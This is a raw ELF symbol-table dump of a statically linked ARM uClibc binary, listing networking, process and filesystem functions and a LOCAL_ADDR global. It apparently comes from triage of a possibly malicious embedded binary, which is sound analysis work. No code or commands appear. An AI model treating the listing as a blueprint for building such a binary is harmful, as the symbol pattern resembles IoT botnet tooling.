$d	.symtab	0x16a10	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2793c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x16ad0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16b00	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16b80	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16bfc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16c60	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16cc8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16d68	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16df4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16e30	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16e70	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16ec8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16f08	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16f48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16fa4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16fe8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17050	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x170a8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x172fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x176ac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x177e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17b08	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17f64	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18148	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x182a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x27954	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x27950	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x18394	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18d98	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f590	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x192ac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1965c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19798	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19dd8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19eb8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19fa8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a094	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a218	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a30c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a374	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a3e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a620	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a680	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a730	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a888	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1aa70	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1aba4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ac6c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ad40	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ae50	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x4c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x53	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x1bcd0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c678	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x58	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x23c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0xe39	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x27948	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1f248	0	NOTYPE	<unknown>	DEFAULT	4
C.11.5548	.symtab	0x1f230	12	OBJECT	<unknown>	DEFAULT	4
C.42.5017	.symtab	0x1e48d	3	OBJECT	<unknown>	DEFAULT	4
C.43.5018	.symtab	0x1e484	9	OBJECT	<unknown>	DEFAULT	4
C.5.5083	.symtab	0x1e588	24	OBJECT	<unknown>	DEFAULT	4
C.7.5370	.symtab	0x1f23c	12	OBJECT	<unknown>	DEFAULT	4
C.7.6078	.symtab	0x1e5a0	12	OBJECT	<unknown>	DEFAULT	4
C.7.6109	.symtab	0x1f56c	12	OBJECT	<unknown>	DEFAULT	4
C.7.6182	.symtab	0x1f548	12	OBJECT	<unknown>	DEFAULT	4
C.8.6110	.symtab	0x1f560	12	OBJECT	<unknown>	DEFAULT	4
C.9.6119	.symtab	0x1f554	12	OBJECT	<unknown>	DEFAULT	4
LOCAL_ADDR	.symtab	0x325f0	4	OBJECT	<unknown>	DEFAULT	14
Laligned	.symtab	0x12d38	0	NOTYPE	<unknown>	DEFAULT	2
Llastword	.symtab	0x12d54	0	NOTYPE	<unknown>	DEFAULT	2
_Exit	.symtab	0x16c00	104	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x27718	0	OBJECT	<unknown>	HIDDEN	12
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_Unwind_Complete	.symtab	0x1ba84	4	FUNC	<unknown>	HIDDEN	2
_Unwind_DeleteException	.symtab	0x1ba88	44	FUNC	<unknown>	HIDDEN	2
_Unwind_ForcedUnwind	.symtab	0x1c738	36	FUNC	<unknown>	HIDDEN	2
_Unwind_GetCFA	.symtab	0x1ba7c	8	FUNC	<unknown>	HIDDEN	2
_Unwind_GetDataRelBase	.symtab	0x1bac0	12	FUNC	<unknown>	HIDDEN	2
_Unwind_GetLanguageSpecificData	.symtab	0x1c75c	68	FUNC	<unknown>	HIDDEN	2
_Unwind_GetRegionStart	.symtab	0x1cefc	52	FUNC	<unknown>	HIDDEN	2
_Unwind_GetTextRelBase	.symtab	0x1bab4	12	FUNC	<unknown>	HIDDEN	2
_Unwind_RaiseException	.symtab	0x1c6cc	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume	.symtab	0x1c6f0	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume_or_Rethrow	.symtab	0x1c714	36	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Get	.symtab	0x1b9e4	76	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Pop	.symtab	0x1bffc	324	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Set	.symtab	0x1ba30	76	FUNC	<unknown>	HIDDEN	2
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b	.symtab	0x27948	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x1f248	768	OBJECT	<unknown>	DEFAULT	4
__EH_FRAME_BEGIN__	.symtab	0x27708	0	OBJECT	<unknown>	DEFAULT	7
__FRAME_END__	.symtab	0x27708	0	OBJECT	<unknown>	DEFAULT	7
__GI___C_ctype_b	.symtab	0x27948	4	OBJECT	<unknown>	HIDDEN	13
__GI___close	.symtab	0x16180	100	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x16164	24	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x2794c	4	OBJECT	<unknown>	HIDDEN	13
__GI___errno_location	.symtab	0x1197c	32	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x10ec0	152	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x19674	300	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x12e88	24	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x16180	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x10f58	244	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x16210	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x16330	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x162a0	100	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x16210	100	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x161f4	24	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x16330	100	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x16314	24	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x13738	36	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x1375c	36	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x13714	36	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x16548	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x16618	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x162a0	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x16284	24	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x12ea0	268	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x16c00	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x14b10	296	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x13018	116	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x1308c	68	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x1a6e4	88	FUNC	<unknown>	HIDDEN	2
__GI_chdir	.symtab	0x1108c	56	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x16180	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x11540	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x17638	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x1766c	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x17310	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x13114	116	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x1525c	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x177e8	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x10f58	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x192c8	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x18db8	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x19674	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x18efc	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x197a0	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x17b18	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x15a90	972	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x12b58	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x1a890	36	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x1a8b4	448	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x16c68	100	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x12b90	188	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x19674	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x16d6c	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x16d98	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x16dac	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x16dc0	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x16dd4	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x15ef4	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x16dfc	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x13188	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x16e34	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x16e74	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x12fac	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1a21c	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x15078	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x111e0	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x1a17c	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x112c0	56	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x13214	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x1ade4	112	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x19cf0	240	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x12c50	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x12c60	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x1ad80	36	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x19de0	224	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x12c70	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x16a5c	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x16e88	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x16ecc	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x16f4c	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x16210	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x11720	196	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x15f3c	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x14c50	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x14f10	144	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x16330	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x11894	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x17224	236	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x1133c	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x13298	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x13350	136	FUNC	<unknown>	HIDDEN	2
__GI_remove	.symtab	0x119d0	100	FUNC	<unknown>	HIDDEN	2
__GI_rmdir	.symtab	0x16fac	64	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x16fec	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x113c0	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x1341c	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x134d8	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x11444	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x13560	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x15170	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x16b04	136	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x135ec	80	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x1363c	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x13650	196	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x11484	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x1602c	300	FUNC	<unknown>	HIDDEN	2
__GI_snprintf	.symtab	0x11a34	48	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x135a8	68	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x14fa0	216	FUNC	<unknown>	HIDDEN	2
__GI_strcat	.symtab	0x12d70	40	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x19ec0	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x19fb0	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x19cd0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x19cd0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x12d98	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1a09c	68	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x12d10	96	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x12dbc	204	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x1a0e0	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1a130	76	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x1546c	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x1a1a0	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x11510	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x17058	20	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x1706c	64	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x11a64	208	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x176b4	84	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x1772c	188	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x17708	36	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x162a0	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x27714	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x27714	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x1c738	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1c6cc	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x1c6f0	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x1c714	36	FUNC	<unknown>	HIDDEN	2
__adddf3	.symtab	0x1afa4	784	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmpeq	.symtab	0x1b900	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmple	.symtab	0x1b900	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdrcmple	.symtab	0x1b8e4	52	FUNC	<unknown>	HIDDEN	2
__aeabi_d2uiz	.symtab	0x1b990	84	FUNC	<unknown>	HIDDEN	2
__aeabi_dadd	.symtab	0x1afa4	784	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpeq	.symtab	0x1b918	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpge	.symtab	0x1b960	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpgt	.symtab	0x1b978	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmple	.symtab	0x1b948	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmplt	.symtab	0x1b930	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ddiv	.symtab	0x1b644	524	FUNC	<unknown>	HIDDEN	2
__aeabi_dmul	.symtab	0x1b3b4	656	FUNC	<unknown>	HIDDEN	2
__aeabi_drsub	.symtab	0x1af98	0	FUNC	<unknown>	HIDDEN	2
__aeabi_dsub	.symtab	0x1afa0	788	FUNC	<unknown>	HIDDEN	2
__aeabi_f2d	.symtab	0x1b300	64	FUNC	<unknown>	HIDDEN	2
__aeabi_i2d	.symtab	0x1b2d8	40	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x1ae54	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x1af80	24	FUNC	<unknown>	HIDDEN	2
__aeabi_l2d	.symtab	0x1b354	96	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x16bb0	8	FUNC	<unknown>	DEFAULT	2
__aeabi_ui2d	.symtab	0x1b2b4	36	FUNC	<unknown>	HIDDEN	2
__aeabi_uidiv	.symtab	0x10d98	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x10e94	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ul2d	.symtab	0x1b340	116	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x1c698	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x1c690	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x1c688	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x2807c	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x27924	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x32aa0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x27a38	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x27a38	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x165c4	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x16180	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x16164	24	FUNC	<unknown>	DEFAULT	2
__cmpdf2	.symtab	0x1b860	132	FUNC	<unknown>	HIDDEN	2
__ctype_b	.symtab	0x2794c	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x2a5e0	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x277c0	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x16ba4	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x16b98	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x10eac	20	FUNC	<unknown>	HIDDEN	2
__divdf3	.symtab	0x1b644	524	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x1ae54	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x27710	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x32aa0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x28074	4	OBJECT	<unknown>	DEFAULT	14
__eqdf2	.symtab	0x1b860	132	FUNC	<unknown>	HIDDEN	2
__errno_location	.symtab	0x1197c	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x1f708	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x1f5f0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x27b24	4	OBJECT	<unknown>	HIDDEN	14
__extendsfdf2	.symtab	0x1b300	64	FUNC	<unknown>	HIDDEN	2
__fcntl_nocancel	.symtab	0x10ec0	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x19674	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x27714	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x27710	0	NOTYPE	<unknown>	HIDDEN	10
__fixunsdfsi	.symtab	0x1b990	84	FUNC	<unknown>	HIDDEN	2
__floatdidf	.symtab	0x1b354	96	FUNC	<unknown>	HIDDEN	2
__floatsidf	.symtab	0x1b2d8	40	FUNC	<unknown>	HIDDEN	2
__floatundidf	.symtab	0x1b340	116	FUNC	<unknown>	HIDDEN	2
__floatunsidf	.symtab	0x1b2b4	36	FUNC	<unknown>	HIDDEN	2
__fork	.symtab	0x15a90	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x32a6c	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x32a70	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x27b28	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x2770c	0	OBJECT	<unknown>	DEFAULT	9
__gedf2	.symtab	0x1b850	148	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x16ccc	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x1a748	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x16dd4	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x15ef4	72	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x12e88	24	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x1be3c	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x1bf24	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x1c6bc	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x1beb8	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1bfdc	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x1c6c4	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x1c7a0	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x1ceb4	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x1c140	1352	FUNC	<unknown>	DEFAULT	2
__gtdf2	.symtab	0x1b850	148	FUNC	<unknown>	HIDDEN	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x27710	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x2770c	0	NOTYPE	<unknown>	HIDDEN	9
__ledf2	.symtab	0x1b858	140	FUNC	<unknown>	HIDDEN	2
__libc_accept	.symtab	0x13018	116	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x16180	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x13114	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x163a0	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x16428	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x10f58	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x15a90	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x32a74	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x16f4c	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x16210	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x16330	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x13298	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x13350	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x113c0	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x1341c	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x134d8	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1a418	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x16b04	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x28070	4	OBJECT	<unknown>	DEFAULT	14
__libc_write	.symtab	0x162a0	100	FUNC	<unknown>	DEFAULT	2
